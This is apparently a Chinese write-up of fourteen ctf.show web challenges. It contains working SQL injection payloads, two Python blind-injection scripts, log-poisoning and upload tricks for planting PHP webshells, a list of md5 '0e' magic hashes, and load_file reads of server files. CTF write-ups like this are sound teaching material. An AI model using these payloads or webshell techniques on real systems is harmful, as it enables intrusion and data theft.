目录
web签到题
web2
web3
web4
web5
web6
web7
web8
web9
错误做法
正确做法
web10
web11
web12
web13
web14
直接f12查看到了一串编码,然后直接base64解码,得到flag
直接用万能密码登录成功,
查询得到,回显的地方为第二个字段
然后开始爆表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
爆字段名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`#
查数据
1' union select 1,flag,3 from flag#
我们可以直接
?url=php://input
POST:
得到了一个flag文件
?url=php://input
POST:
题与web3相似,然后我们直接尝试一下data伪协议不行的
然后尝试日志注入
?url=/var/log/nginx/access.log
然后我们把一句话木马加在User-Agent里
在用蚁剑连一下
ctype_alpha():判断变量是否由字母组成
is_numeric():判断变量是否由数字组成
很简单的,我们可以直接找一个纯数字和一个纯字母加密后为0e开头的md5值
?v2=240610708&v1=EEIZDOI
以下为收集到md5值为0e开头的英文和数字
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
1110242161
0e435874558488625891324861198103
1320830526
0e912095958985483346995414060832
1586264293
0e622743671155995737639662718498
2302756269
0e250566888497473798724426794462
2427435592
0e067696952328669732475498472343
2653531602
0e877487522341544758028810610885
3293867441
0e471001201303602543921144570260
3295421201
0e703870333002232681239618856220
3465814713
0e258631645650999664521705537122
3524854780
0e507419062489887827087815735195
3908336290
0e807624498959190415881248245271
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412
这个题过滤掉了空格
我们可以直接用/**/替换空格就好
admin' or 1=1# //报错了
admin‘/**/or/**/1=1# //成功了
/开始~~
admin'/**/or/**/1=1/**/order/**/by/**/3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/uninon/**/select/**/1,2,3#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="flag"#
admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
该题为盲注,看了y4爷的二分法脚本
import requests
url = "http://ef1aa69c-3250-414b-9468-0c03efbfbd6f.chall.ctf.show/?id='/**/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = 'if(ascii(substr(database(),%d,1))>%d,1,0)' % (i, mid)
# payload = f'if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag")),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select/**/(flag)from(flag)),{i},1))>{mid},1,0)'
r = requests.get(url + payload)
if "By Rudyard Kipling" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
import requests
url = "http://a448d26a-b594-47a1-b3e0-fddbe1d869ba.chall.ctf.show/?id=-1/**/or/**/"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'ascii(substr(database()/**/from/**/{i}/**/for/**/1))>{mid}#'
# payload = f'ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/{i}/**/for/**/1))>{mid}'
# payload = f'ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name="flag"))/**/from/**/{i}/**/for/**/1))>{mid}'
payload = f'ascii(substr((select/**/(flag)from(flag))/**/from/**/{i}/**/for/**/1))>{mid}'
r = requests.get(url + payload)
if "By Rudyard Kipling" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
打开是一个管理员登录,需要输入密码,我们直接爆破就好
得到了一个base64转图片的密文
然后转一下得到一个图片,下载这个图片,没有任何东西
做到这,才发现前面全是粗了,思路根本不对
先看一下/robots.txt,发现有一个index.phps
保存查看,源码如下
10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功
";
echo $flag;
}
}
?>
主要就是这一句话
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"
将密码转换成16进制的hex值以后,再将其转换成字符串后包含’ ‘or ’ 6’
SELECT * FROM admin WHERE pass=’ ‘or ’ 6’
在网上有两个这样的字符串
ffifdyop、129581926211651571912466741651878684928
又因为长度有限制,所以输入ffifdyop可获得flag
我们点击取消键,下载了附件内容
0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功
";
echo $flag;
}
}
}
?>
源码:对post的数据进行的过滤,然后要对查询出来的值要和我们post的password相等
进行了WITH ROLLUP绕过
WITH ROLLUP是对group by的结果进行进一步的汇总然后显示,在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据
'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可
在这里我们可以看到过滤掉了好多东西,然后它让我们
输入框的内容等于session的内容
if($password==$_SESSION['password']){
我们可以删除里面的phpsesionid,然后session的值为空了,然后可以直接提交空密码就相等了
打开题目环境,找到了一个hint
然后在这里学到了一个新的函数
php的函数glob();glob()函数返回匹配指定模式的文件名或目录
glob("")匹配任意文件
glob(".txt")匹配以txt后缀的文件
我们可以用这个方法把当前目录的文件打印一下
输入:
?cmd=print_r(glob("*"));
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag
打开题目为一个文件上传的题,尝试上传木马,上传了好多次并没有什么用,然后猜一下有没有源码泄露
.bak文件是备份文件。 .hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏 .phps .bak结尾的网页
upload.php.bak得到了源码
24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
我们上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php
然后我们构造一个一句话木马1.txt,内容如下
上传成功~然后我们在上传一个.user.ini,在文件中写上
auto_prepend_file=1.txt
作用就是让txt文件以php呈现
在这里我尝试用蚁剑连,发现连不上,我们就直接在页面上搜索
a=print_r(glob("*"));
得到了文件,然后再次使用高显函数进行查看文件
a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
得到flag
首先查看一下源码
很明显我们传入参数?c=3,不会退出循环,进而执行下一个case语句得到url
here_1s_your_f1ag.php
我们进入之后发现是一个注入的题目,然后我们看一下源码
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');}
还是一样的爆一下数据库
?query=-1/**/union/**/select/**/database()
然后再爆表(注:因为过滤掉了有些关键词,我们可以利用反引号进行绕过)
table——》`table`
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
爆字段名
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
爆值
query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
没有得到flag,但是给了提示在secret.php
mysql提供读取本地文件的函数load_file()
?query=-1/**/union/**/select/**/load_file('/var/www/html/serect.php')
源码如下
我们可以直接读取'/real_flag_is_here'
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
得到flag